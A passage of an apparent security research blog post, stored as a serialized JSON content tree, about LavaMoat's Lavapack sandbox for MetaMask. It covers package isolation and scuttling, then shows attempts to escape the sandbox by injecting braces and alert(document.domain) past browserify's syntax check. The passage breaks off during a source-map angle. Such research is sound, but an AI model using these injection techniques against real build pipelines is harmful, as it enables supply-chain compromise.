",{"type":23,"tag":38,"props":45989,"children":45991},{"className":45990},[],[45992],{"type":29,"value":45993},"@metamask/providers",{"type":29,"value":45995}," interacts with other packages.",{"type":23,"tag":32,"props":45997,"children":45998},{},[45999,46001,46007],{"type":29,"value":46000},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":38,"props":46002,"children":46004},{"className":46003},[],[46005],{"type":29,"value":46006},"lavapack",{"type":29,"value":46008},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":17563,"props":46010,"children":46012},{"id":46011},"npm-anti-hijacking",[46013],{"type":29,"value":45629},{"type":23,"tag":32,"props":46015,"children":46016},{},[46017],{"type":29,"value":46018},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":32,"props":46020,"children":46021},{},[46022,46024,46031],{"type":29,"value":46023},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":55,"props":46025,"children":46028},{"href":46026,"rel":46027},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[59],[46029],{"type":29,"value":46030},"walking the modules",{"type":29,"value":46032}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":17563,"props":46034,"children":46036},{"id":46035},"scuttling",[46037],{"type":29,"value":45634},{"type":23,"tag":32,"props":46039,"children":46040},{},[46041,46043,46049],{"type":29,"value":46042},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":38,"props":46044,"children":46046},{"className":46045},[],[46047],{"type":29,"value":46048},"GlobalThis",{"type":29,"value":46050}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":32,"props":46052,"children":46053},{},[46054,46056,46063],{"type":29,"value":46055},"For example, ",{"type":23,"tag":55,"props":46057,"children":46060},{"href":46058,"rel":46059},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[59],[46061],{"type":29,"value":46062},"here",{"type":29,"value":46064}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":131,"props":46066,"children":46068},{"className":29831,"code":46067,"language":29833,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[46069],{"type":23,"tag":38,"props":46070,"children":46071},{"__ignoreMap":7},[46072,46101,46151,46210,46217,46289],{"type":23,"tag":141,"props":46073,"children":46074},{"class":143,"line":144},[46075,46079,46083,46088,46092,46097],{"type":23,"tag":141,"props":46076,"children":46077},{"style":148},[46078],{"type":29,"value":151},{"type":23,"tag":141,"props":46080,"children":46081},{"style":154},[46082],{"type":29,"value":1220},{"type":23,"tag":141,"props":46084,"children":46085},{"style":750},[46086],{"type":29,"value":46087},"scuttleOpts",{"type":23,"tag":141,"props":46089,"children":46090},{"style":154},[46091],{"type":29,"value":322},{"type":23,"tag":141,"props":46093,"children":46094},{"style":750},[46095],{"type":29,"value":46096},"enabled",{"type":23,"tag":141,"props":46098,"children":46099},{"style":154},[46100],{"type":29,"value":13480},{"type":23,"tag":141,"props":46102,"children":46103},{"class":143,"line":180},[46104,46108,46112,46116,46121,46125,46130,46134,46138,46142,46147],{"type":23,"tag":141,"props":46105,"children":46106},{"style":148},[46107],{"type":29,"value":37758},{"type":23,"tag":141,"props":46109,"children":46110},{"style":154},[46111],{"type":29,"value":1220},{"type":23,"tag":141,"props":46113,"children":46114},{"style":160},[46115],{"type":29,"value":19293},{"type":23,"tag":141,"props":46117,"children":46118},{"style":750},[46119],{"type":29,"value":46120},"Array",{"type":23,"tag":141,"props":46122,"children":46123},{"style":154},[46124],{"type":29,"value":322},{"type":23,"tag":141,"props":46126,"children":46127},{"style":184},[46128],{"type":29,"value":46129},"isArray",{"type":23,"tag":141,"props":46131,"children":46132},{"style":154},[46133],{"type":29,"value":192},{"type":23,"tag":141,"props":46135,"children":46136},{"style":750},[46137],{"type":29,"value":46087},{"type":23,"tag":141,"props":46139,"children":46140},{"style":154},[46141],{"type":29,"value":322},{"type":23,"tag":141,"props":46143,"children":46144},{"style":750},[46145],{"type":29,"value":46146},"exceptions",{"type":23,"tag":141,"props":46148,"children":46149},{"style":154},[46150],{"type":29,"value":33664},{"type":23,"tag":141,"props":46152,"children":46153},{"class":143,"line":205},[46154,46159,46163,46167,46171,46176,46180,46184,46189,46193,46197,46201,46206],{"type":23,"tag":141,"props":46155,"children":46156},{"style":148},[46157],{"type":29,"value":46158}," throw",{"type":23,"tag":141,"props":46160,"children":46161},{"style":449},[46162],{"type":29,"value":30401},{"type":23,"tag":141,"props":46164,"children":46165},{"style":184},[46166],{"type":29,"value":38755},{"type":23,"tag":141,"props":46168,"children":46169},{"style":154},[46170],{"type":29,"value":192},{"type":23,"tag":141,"props":46172,"children":46173},{"style":828},[46174],{"type":29,"value":46175},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":141,"props":46177,"children":46178},{"style":449},[46179],{"type":29,"value":32578},{"type":23,"tag":141,"props":46181,"children":46182},{"style":449},[46183],{"type":29,"value":29871},{"type":23,"tag":141,"props":46185,"children":46186},{"style":750},[46187],{"type":29,"value":46188}," scuttleOpts",{"type":23,"tag":141,"props":46190,"children":46191},{"style":160},[46192],{"type":29,"value":322},{"type":23,"tag":141,"props":46194,"children":46195},{"style":750},[46196],{"type":29,"value":46146},{"type":23,"tag":141,"props":46198,"children":46199},{"style":449},[46200],{"type":29,"value":32610},{"type":23,"tag":141,"props":46202,"children":46203},{"style":828},[46204],{"type":29,"value":46205},"\"`",{"type":23,"tag":141,"props":46207,"children":46208},{"style":154},[46209],{"type":29,"value":758},{"type":23,"tag":141,"props":46211,"children":46212},{"class":143,"line":218},[46213],{"type":23,"tag":141,"props":46214,"children":46215},{"style":154},[46216],{"type":29,"value":11343},{"type":23,"tag":141,"props":46218,"children":46219},{"class":143,"line":227},[46220,46225,46229,46234,46238,46243,46247,46252,46256,46261,46265,46269,46273,46277,46281,46285],{"type":23,"tag":141,"props":46221,"children":46222},{"style":750},[46223],{"type":29,"value":46224}," scuttleOpts",{"type":23,"tag":141,"props":46226,"children":46227},{"style":154},[46228],{"type":29,"value":322},{"type":23,"tag":141,"props":46230,"children":46231},{"style":184},[46232],{"type":29,"value":46233},"scuttlerFunc",{"type":23,"tag":141,"props":46235,"children":46236},{"style":154},[46237],{"type":29,"value":192},{"type":23,"tag":141,"props":46239,"children":46240},{"style":750},[46241],{"type":29,"value":46242},"globalRef",{"type":23,"tag":141,"props":46244,"children":46245},{"style":154},[46246],{"type":29,"value":480},{"type":23,"tag":141,"props":46248,"children":46249},{"style":750},[46250],{"type":29,"value":46251},"realm",{"type":23,"tag":141,"props":46253,"children":46254},{"style":449},[46255],{"type":29,"value":26437},{"type":23,"tag":141,"props":46257,"children":46258},{"style":184},[46259],{"type":29,"value":46260}," performScuttleGlobalThis",{"type":23,"tag":141,"props":46262,"children":46263},{"style":154},[46264],{"type":29,"value":192},{"type":23,"tag":141,"props":46266,"children":46267},{"style":750},[46268],{"type":29,"value":46251},{"type":23,"tag":141,"props":46270,"children":46271},{"style":154},[46272],{"type":29,"value":480},{"type":23,"tag":141,"props":46274,"children":46275},{"style":750},[46276],{"type":29,"value":46087},{"type":23,"tag":141,"props":46278,"children":46279},{"style":154},[46280],{"type":29,"value":322},{"type":23,"tag":141,"props":46282,"children":46283},{"style":750},[46284],{"type":29,"value":46146},{"type":23,"tag":141,"props":46286,"children":46287},{"style":154},[46288],{"type":29,"value":498},{"type":23,"tag":141,"props":46290,"children":46291},{"class":143,"line":241},[46292],{"type":23,"tag":141,"props":46293,"children":46294},{"style":154},[46295],{"type":29,"value":299},{"type":23,"tag":32,"props":46297,"children":46298},{},[46299,46301,46307,46309,46315],{"type":29,"value":46300},"Subsequently, the code defines a ",{"type":23,"tag":55,"props":46302,"children":46305},{"href":46303,"rel":46304},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[59],[46306],{"type":29,"value":29845},{"type":29,"value":46308}," called ",{"type":23,"tag":38,"props":46310,"children":46312},{"className":46311},[],[46313],{"type":29,"value":46314},"generateScuttleOpts",{"type":29,"value":46316}," that creates and returns an options object.",{"type":23,"tag":32,"props":46318,"children":46319},{},[46320,46322,46328,46329,46335,46337,46342,46344,46350],{"type":29,"value":46321},"Finally, the ",{"type":23,"tag":38,"props":46323,"children":46325},{"className":46324},[],[46326],{"type":29,"value":46327},"performScuttleGlobalThis",{"type":29,"value":45},{"type":23,"tag":55,"props":46330,"children":46333},{"href":46331,"rel":46332},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[59],[46334],{"type":29,"value":29845},{"type":29,"value":46336}," modifies the properties of the global object (",{"type":23,"tag":38,"props":46338,"children":46340},{"className":46339},[],[46341],{"type":29,"value":46242},{"type":29,"value":46343},"). It starts by creating an array ",{"type":23,"tag":38,"props":46345,"children":46347},{"className":46346},[],[46348],{"type":29,"value":46349},"props",{"type":29,"value":46351},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":24,"props":46353,"children":46355},{"id":46354},"hacking-webpacks",[46356],{"type":29,"value":46357},"Hacking Webpacks",{"type":23,"tag":32,"props":46359,"children":46360},{},[46361],{"type":29,"value":46362},"Now let's get to the fun stuff.",{"type":23,"tag":32,"props":46364,"children":46365},{},[46366],{"type":29,"value":46367},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":131,"props":46369,"children":46371},{"className":29831,"code":46370,"language":29833,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[46372],{"type":23,"tag":38,"props":46373,"children":46374},{"__ignoreMap":7},[46375,46427,46439,46459,46476,46484,46492,46500,46508,46529,46537,46545,46553,46560,46567,46574],{"type":23,"tag":141,"props":46376,"children":46377},{"class":143,"line":144},[46378,46382,46387,46391,46396,46400,46405,46409,46414,46418,46423],{"type":23,"tag":141,"props":46379,"children":46380},{"style":449},[46381],{"type":29,"value":34659},{"type":23,"tag":141,"props":46383,"children":46384},{"style":750},[46385],{"type":29,"value":46386}," filename",{"type":23,"tag":141,"props":46388,"children":46389},{"style":160},[46390],{"type":29,"value":1674},{"type":23,"tag":141,"props":46392,"children":46393},{"style":184},[46394],{"type":29,"value":46395}," encodeURI",{"type":23,"tag":141,"props":46397,"children":46398},{"style":154},[46399],{"type":29,"value":192},{"type":23,"tag":141,"props":46401,"children":46402},{"style":184},[46403],{"type":29,"value":46404},"String",{"type":23,"tag":141,"props":46406,"children":46407},{"style":154},[46408],{"type":29,"value":192},{"type":23,"tag":141,"props":46410,"children":46411},{"style":750},[46412],{"type":29,"value":46413},"moduleData",{"type":23,"tag":141,"props":46415,"children":46416},{"style":154},[46417],{"type":29,"value":322},{"type":23,"tag":141,"props":46419,"children":46420},{"style":750},[46421],{"type":29,"value":46422},"file",{"type":23,"tag":141,"props":46424,"children":46425},{"style":154},[46426],{"type":29,"value":498},{"type":23,"tag":141,"props":46428,"children":46429},{"class":143,"line":180},[46430,46434],{"type":23,"tag":141,"props":46431,"children":46432},{"style":449},[46433],{"type":29,"value":6530},{"type":23,"tag":141,"props":46435,"children":46436},{"style":750},[46437],{"type":29,"value":46438}," moduleWrapperSource\n",{"type":23,"tag":141,"props":46440,"children":46441},{"class":143,"line":205},[46442,46446,46450,46455],{"type":23,"tag":141,"props":46443,"children":46444},{"style":148},[46445],{"type":29,"value":29862},{"type":23,"tag":141,"props":46447,"children":46448},{"style":154},[46449],{"type":29,"value":1220},{"type":23,"tag":141,"props":46451,"children":46452},{"style":750},[46453],{"type":29,"value":46454},"bundleWithPrecompiledModules",{"type":23,"tag":141,"props":46456,"children":46457},{"style":154},[46458],{"type":29,"value":13480},{"type":23,"tag":141,"props":46460,"children":46461},{"class":143,"line":218},[46462,46467,46471],{"type":23,"tag":141,"props":46463,"children":46464},{"style":750},[46465],{"type":29,"value":46466}," moduleWrapperSource",{"type":23,"tag":141,"props":46468,"children":46469},{"style":160},[46470],{"type":29,"value":1674},{"type":23,"tag":141,"props":46472,"children":46473},{"style":828},[46474],{"type":29,"value":46475}," `function(){\n",{"type":23,"tag":141,"props":46477,"children":46478},{"class":143,"line":227},[46479],{"type":23,"tag":141,"props":46480,"children":46481},{"style":828},[46482],{"type":29,"value":46483}," with (this.scopeTerminator) {\n",{"type":23,"tag":141,"props":46485,"children":46486},{"class":143,"line":241},[46487],{"type":23,"tag":141,"props":46488,"children":46489},{"style":828},[46490],{"type":29,"value":46491}," with (this.globalThis) {\n",{"type":23,"tag":141,"props":46493,"children":46494},{"class":143,"line":262},[46495],{"type":23,"tag":141,"props":46496,"children":46497},{"style":828},[46498],{"type":29,"value":46499}," return function() {\n",{"type":23,"tag":141,"props":46501,"children":46502},{"class":143,"line":271},[46503],{"type":23,"tag":141,"props":46504,"children":46505},{"style":828},[46506],{"type":29,"value":46507}," 'use strict';\n",{"type":23,"tag":141,"props":46509,"children":46510},{"class":143,"line":293},[46511,46516,46520,46525],{"type":23,"tag":141,"props":46512,"children":46513},{"style":828},[46514],{"type":29,"value":46515}," // source: ",{"type":23,"tag":141,"props":46517,"children":46518},{"style":449},[46519],{"type":29,"value":32578},{"type":23,"tag":141,"props":46521,"children":46522},{"style":750},[46523],{"type":29,"value":46524},"filename",{"type":23,"tag":141,"props":46526,"children":46527},{"style":449},[46528],{"type":29,"value":2573},{"type":23,"tag":141,"props":46530,"children":46531},{"class":143,"line":801},[46532],{"type":23,"tag":141,"props":46533,"children":46534},{"style":828},[46535],{"type":29,"value":46536}," return function (require, module, exports) {\n",{"type":23,"tag":141,"props":46538,"children":46539},{"class":143,"line":810},[46540],{"type":23,"tag":141,"props":46541,"children":46542},{"style":828},[46543],{"type":29,"value":46544}," __MODULE_CONTENT__\n",{"type":23,"tag":141,"props":46546,"children":46547},{"class":143,"line":824},[46548],{"type":23,"tag":141,"props":46549,"children":46550},{"style":828},[46551],{"type":29,"value":46552}," };\n",{"type":23,"tag":141,"props":46554,"children":46555},{"class":143,"line":839},[46556],{"type":23,"tag":141,"props":46557,"children":46558},{"style":828},[46559],{"type":29,"value":7378},{"type":23,"tag":141,"props":46561,"children":46562},{"class":143,"line":848},[46563],{"type":23,"tag":141,"props":46564,"children":46565},{"style":828},[46566],{"type":29,"value":2008},{"type":23,"tag":141,"props":46568,"children":46569},{"class":143,"line":2304},[46570],{"type":23,"tag":141,"props":46571,"children":46572},{"style":828},[46573],{"type":29,"value":11343},{"type":23,"tag":141,"props":46575,"children":46576},{"class":143,"line":2313},[46577],{"type":23,"tag":141,"props":46578,"children":46579},{"style":828},[46580],{"type":29,"value":46581}," }`\n",{"type":23,"tag":32,"props":46583,"children":46584},{},[46585,46587,46593,46595,46601],{"type":29,"value":46586},"Lavapack uses ",{"type":23,"tag":38,"props":46588,"children":46590},{"className":46589},[],[46591],{"type":29,"value":46592},"with()",{"type":29,"value":46594}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":38,"props":46596,"children":46598},{"className":46597},[],[46599],{"type":29,"value":46600},"__MODULE_CONTENT__",{"type":29,"value":46602}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":8287,"props":46604,"children":46606},{"id":46605},"injection-not-so-simple",[46607],{"type":29,"value":46608},"Injection? Not So Simple",{"type":23,"tag":32,"props":46610,"children":46611},{},[46612,46614,46619],{"type":29,"value":46613},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":38,"props":46615,"children":46617},{"className":46616},[],[46618],{"type":29,"value":11330},{"type":29,"value":46620}," environment:",{"type":23,"tag":131,"props":46622,"children":46624},{"className":29831,"code":46623,"language":29833,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[46625],{"type":23,"tag":38,"props":46626,"children":46627},{"__ignoreMap":7},[46628,46641,46653,46665,46677,46684],{"type":23,"tag":141,"props":46629,"children":46630},{"class":143,"line":144},[46631,46636],{"type":23,"tag":141,"props":46632,"children":46633},{"style":154},[46634],{"type":29,"value":46635}," } ",{"type":23,"tag":141,"props":46637,"children":46638},{"style":443},[46639],{"type":29,"value":46640},"// end function 1\n",{"type":23,"tag":141,"props":46642,"children":46643},{"class":143,"line":180},[46644,46648],{"type":23,"tag":141,"props":46645,"children":46646},{"style":154},[46647],{"type":29,"value":29936},{"type":23,"tag":141,"props":46649,"children":46650},{"style":443},[46651],{"type":29,"value":46652},"// end function 2\n",{"type":23,"tag":141,"props":46654,"children":46655},{"class":143,"line":205},[46656,46660],{"type":23,"tag":141,"props":46657,"children":46658},{"style":154},[46659],{"type":29,"value":34673},{"type":23,"tag":141,"props":46661,"children":46662},{"style":443},[46663],{"type":29,"value":46664},"// end with 1\n",{"type":23,"tag":141,"props":46666,"children":46667},{"class":143,"line":218},[46668,46672],{"type":23,"tag":141,"props":46669,"children":46670},{"style":154},[46671],{"type":29,"value":45351},{"type":23,"tag":141,"props":46673,"children":46674},{"style":443},[46675],{"type":29,"value":46676},"// end with 2\n",{"type":23,"tag":141,"props":46678,"children":46679},{"class":143,"line":227},[46680],{"type":23,"tag":141,"props":46681,"children":46682},{"emptyLinePlaceholder":15},[46683],{"type":29,"value":719},{"type":23,"tag":141,"props":46685,"children":46686},{"class":143,"line":241},[46687,46691,46695,46699,46703,46707],{"type":23,"tag":141,"props":46688,"children":46689},{"style":184},[46690],{"type":29,"value":31166},{"type":23,"tag":141,"props":46692,"children":46693},{"style":154},[46694],{"type":29,"value":192},{"type":23,"tag":141,"props":46696,"children":46697},{"style":750},[46698],{"type":29,"value":31176},{"type":23,"tag":141,"props":46700,"children":46701},{"style":154},[46702],{"type":29,"value":322},{"type":23,"tag":141,"props":46704,"children":46705},{"style":750},[46706],{"type":29,"value":31186},{"type":23,"tag":141,"props":46708,"children":46709},{"style":154},[46710],{"type":29,"value":758},{"type":23,"tag":32,"props":46712,"children":46713},{},[46714,46716,46722,46724,46731],{"type":29,"value":46715},"However, when we tried to bundle it, a ",{"type":23,"tag":38,"props":46717,"children":46719},{"className":46718},[],[46720],{"type":29,"value":46721},"ParseError",{"type":29,"value":46723}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":55,"props":46725,"children":46728},{"href":46726,"rel":46727},"https://github.com/browserify/browserify",[59],[46729],{"type":29,"value":46730},"browserify",{"type":29,"value":46732},", which has a syntax check before replacing the code.",{"type":23,"tag":32,"props":46734,"children":46735},{},[46736,46738,46744,46746,46752,46754,46760,46762,46767],{"type":29,"value":46737},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":38,"props":46739,"children":46741},{"className":46740},[],[46742],{"type":29,"value":46743},"syntax",{"type":29,"value":46745}," stage on it's pipeline, and uses the ",{"type":23,"tag":38,"props":46747,"children":46749},{"className":46748},[],[46750],{"type":29,"value":46751},"syntax-error",{"type":29,"value":46753}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":38,"props":46755,"children":46757},{"className":46756},[],[46758],{"type":29,"value":46759},"pack",{"type":29,"value":46761}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":38,"props":46763,"children":46765},{"className":46764},[],[46766],{"type":29,"value":46743},{"type":29,"value":46768},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":32,"props":46770,"children":46771},{},[46772],{"type":23,"tag":2591,"props":46773,"children":46776},{"alt":46774,"src":46775},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":32,"props":46778,"children":46779},{},[46780,46781,46786,46788,46793],{"type":29,"value":388},{"type":23,"tag":38,"props":46782,"children":46784},{"className":46783},[],[46785],{"type":29,"value":46751},{"type":29,"value":46787}," package performs a syntax check by using ",{"type":23,"tag":38,"props":46789,"children":46791},{"className":46790},[],[46792],{"type":29,"value":36019},{"type":29,"value":46794}," with function hoisting:",{"type":23,"tag":131,"props":46796,"children":46798},{"className":29831,"code":46797,"language":29833,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[46799],{"type":23,"tag":38,"props":46800,"children":46801},{"__ignoreMap":7},[46802,46814,46864,46875,46882,46903,46944,47004,47045],{"type":23,"tag":141,"props":46803,"children":46804},{"class":143,"line":144},[46805,46810],{"type":23,"tag":141,"props":46806,"children":46807},{"style":148},[46808],{"type":29,"value":46809},"try",{"type":23,"tag":141,"props":46811,"children":46812},{"style":154},[46813],{"type":29,"value":1951},{"type":23,"tag":141,"props":46815,"children":46816},{"class":143,"line":180},[46817,46822,46826,46831,46835,46840,46844,46849,46855,46860],{"type":23,"tag":141,"props":46818,"children":46819},{"style":184},[46820],{"type":29,"value":46821}," eval",{"type":23,"tag":141,"props":46823,"children":46824},{"style":154},[46825],{"type":29,"value":192},{"type":23,"tag":141,"props":46827,"children":46828},{"style":828},[46829],{"type":29,"value":46830},"'throw \"STOP\"; (function () { '",{"type":23,"tag":141,"props":46832,"children":46833},{"style":160},[46834],{"type":29,"value":7581},{"type":23,"tag":141,"props":46836,"children":46837},{"style":750},[46838],{"type":29,"value":46839}," src",{"type":23,"tag":141,"props":46841,"children":46842},{"style":160},[46843],{"type":29,"value":7581},{"type":23,"tag":141,"props":46845,"children":46846},{"style":828},[46847],{"type":29,"value":46848}," '",{"type":23,"tag":141,"props":46850,"children":46852},{"style":46851},"--shiki-default:#D7BA7D",[46853],{"type":29,"value":46854},"\\n",{"type":23,"tag":141,"props":46856,"children":46857},{"style":828},[46858],{"type":29,"value":46859},"})()'",{"type":23,"tag":141,"props":46861,"children":46862},{"style":154},[46863],{"type":29,"value":2496},{"type":23,"tag":141,"props":46865,"children":46866},{"class":143,"line":205},[46867,46871],{"type":23,"tag":141,"props":46868,"children":46869},{"style":148},[46870],{"type":29,"value":15665},{"type":23,"tag":141,"props":46872,"children":46873},{"style":154},[46874],{"type":29,"value":1684},{"type":23,"tag":141,"props":46876,"children":46877},{"class":143,"line":218},[46878],{"type":23,"tag":141,"props":46879,"children":46880},{"style":154},[46881],{"type":29,"value":2573},{"type":23,"tag":141,"props":46883,"children":46884},{"class":143,"line":227},[46885,46890,46894,46899],{"type":23,"tag":141,"props":46886,"children":46887},{"style":148},[46888],{"type":29,"value":46889},"catch",{"type":23,"tag":141,"props":46891,"children":46892},{"style":154},[46893],{"type":29,"value":1220},{"type":23,"tag":141,"props":46895,"children":46896},{"style":750},[46897],{"type":29,"value":46898},"err",{"type":23,"tag":141,"props":46900,"children":46901},{"style":154},[46902],{"type":29,"value":13480},{"type":23,"tag":141,"props":46904,"children":46905},{"class":143,"line":241},[46906,46910,46914,46918,46922,46927,46931,46936,46940],{"type":23,"tag":141,"props":46907,"children":46908},{"style":148},[46909],{"type":29,"value":151},{"type":23,"tag":141,"props":46911,"children":46912},{"style":154},[46913],{"type":29,"value":1220},{"type":23,"tag":141,"props":46915,"children":46916},{"style":750},[46917],{"type":29,"value":46898},{"type":23,"tag":141,"props":46919,"children":46920},{"style":160},[46921],{"type":29,"value":29890},{"type":23,"tag":141,"props":46923,"children":46924},{"style":828},[46925],{"type":29,"value":46926}," 'STOP'",{"type":23,"tag":141,"props":46928,"children":46929},{"style":154},[46930],{"type":29,"value":1748},{"type":23,"tag":141,"props":46932,"children":46933},{"style":148},[46934],{"type":29,"value":46935},"return",{"type":23,"tag":141,"props":46937,"children":46938},{"style":449},[46939],{"type":29,"value":37809},{"type":23,"tag":141,"props":46941,"children":46942},{"style":154},[46943],{"type":29,"value":1684},{"type":23,"tag":141,"props":46945,"children":46946},{"class":143,"line":262},[46947,46951,46955,46959,46963,46968,46972,46977,46982,46987,46991,46995,47000],{"type":23,"tag":141,"props":46948,"children":46949},{"style":148},[46950],{"type":29,"value":151},{"type":23,"tag":141,"props":46952,"children":46953},{"style":154},[46954],{"type":29,"value":1220},{"type":23,"tag":141,"props":46956,"children":46957},{"style":750},[46958],{"type":29,"value":46898},{"type":23,"tag":141,"props":46960,"children":46961},{"style":154},[46962],{"type":29,"value":322},{"type":23,"tag":141,"props":46964,"children":46965},{"style":750},[46966],{"type":29,"value":46967},"constructor",{"type":23,"tag":141,"props":46969,"children":46970},{"style":154},[46971],{"type":29,"value":322},{"type":23,"tag":141,"props":46973,"children":46974},{"style":750},[46975],{"type":29,"value":46976},"name",{"type":23,"tag":141,"props":46978,"children":46979},{"style":160},[46980],{"type":29,"value":46981}," !==",{"type":23,"tag":141,"props":46983,"children":46984},{"style":828},[46985],{"type":29,"value":46986}," 'SyntaxError'",{"type":23,"tag":141,"props":46988,"children":46989},{"style":154},[46990],{"type":29,"value":1748},{"type":23,"tag":141,"props":46992,"children":46993},{"style":148},[46994],{"type":29,"value":46935},{"type":23,"tag":141,"props":46996,"children":46997},{"style":750},[46998],{"type":29,"value":46999}," err",{"type":23,"tag":141,"props":47001,"children":47002},{"style":154},[47003],{"type":29,"value":1684},{"type":23,"tag":141,"props":47005,"children":47006},{"class":143,"line":271},[47007,47011,47016,47020,47024,47028,47032,47036,47041],{"type":23,"tag":141,"props":47008,"children":47009},{"style":148},[47010],{"type":29,"value":15665},{"type":23,"tag":141,"props":47012,"children":47013},{"style":184},[47014],{"type":29,"value":47015}," errorInfo",{"type":23,"tag":141,"props":47017,"children":47018},{"style":154},[47019],{"type":29,"value":192},{"type":23,"tag":141,"props":47021,"children":47022},{"style":750},[47023],{"type":29,"value":31138},{"type":23,"tag":141,"props":47025,"children":47026},{"style":154},[47027],{"type":29,"value":480},{"type":23,"tag":141,"props":47029,"children":47030},{"style":750},[47031],{"type":29,"value":46422},{"type":23,"tag":141,"props":47033,"children":47034},{"style":154},[47035],{"type":29,"value":480},{"type":23,"tag":141,"props":47037,"children":47038},{"style":750},[47039],{"type":29,"value":47040},"opts",{"type":23,"tag":141,"props":47042,"children":47043},{"style":154},[47044],{"type":29,"value":2496},{"type":23,"tag":141,"props":47046,"children":47047},{"class":143,"line":293},[47048],{"type":23,"tag":141,"props":47049,"children":47050},{"style":154},[47051],{"type":29,"value":2573},{"type":23,"tag":32,"props":47053,"children":47054},{},[47055,47057,47061,47063,47069,47071,47076],{"type":29,"value":47056},"Interestingly, it ",{"type":23,"tag":47,"props":47058,"children":47059},{},[47060],{"type":29,"value":2649},{"type":29,"value":47062}," possible to inject a ",{"type":23,"tag":38,"props":47064,"children":47066},{"className":47065},[],[47067],{"type":29,"value":47068},"}); (() => {",{"type":29,"value":47070}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":38,"props":47072,"children":47074},{"className":47073},[],[47075],{"type":29,"value":46592},{"type":29,"value":47077}," sandbox of Lavapack.",{"type":23,"tag":8287,"props":47079,"children":47081},{"id":47080},"sourcemap-the-syntax-killer",[47082],{"type":29,"value":47083},"SourceMap: The Syntax Killer",{"type":23,"tag":32,"props":47085,"children":47086},{},[47087,47089,47096],{"type":29,"value":47088},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":55,"props":47090,"children":47093},{"href":47091,"rel":47092},"https://www.npmjs.com/package/convert-source-map",[59],[47094],{"type":29,"value":47095},"convert-source-map",{"type":29,"value":47097}," npm package:",{"type":23,"tag":131,"props":47099,"children":47101},{"className":29831,"code":47100,"language":29833,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[47102],{"type":23,"tag":38,"props":47103,"children":47104},{"__ignoreMap":7},[47105,47129,47171,47179,47220,47261,47289],{"type":23,"tag":141,"props":47106,"children":47107},{"class":143,"line":144},[47108,47112,47117,47121,47125],{"type":23,"tag":141,"props":47109,"children":47110},{"style":449},[47111],{"type":29,"value":29845},{"type":23,"tag":141,"props":47113,"children":47114},{"style":184},[47115],{"type":29,"value":47116}," extractSourceMaps",{"type":23,"tag":141,"props":47118,"children":47119},{"style":154},[47120],{"type":29,"value":192},{"type":23,"tag":141,"props":47122,"children":47123},{"style":750},[47124],{"type":29,"value":36485},{"type":23,"tag":141,"props":47126,"children":47127},{"style":154},[47128],{"type":29,"value":13480},{"type":23,"tag":141,"props":47130,"children":47131},{"class":143,"line":180},[47132,47136,47141,47145,47150,47154,47159,47163,47167],{"type":23,"tag":141,"props":47133,"children":47134},{"style":449},[47135],{"type":29,"value":34659},{"type":23,"tag":141,"props":47137,"children":47138},{"style":750},[47139],{"type":29,"value":47140}," 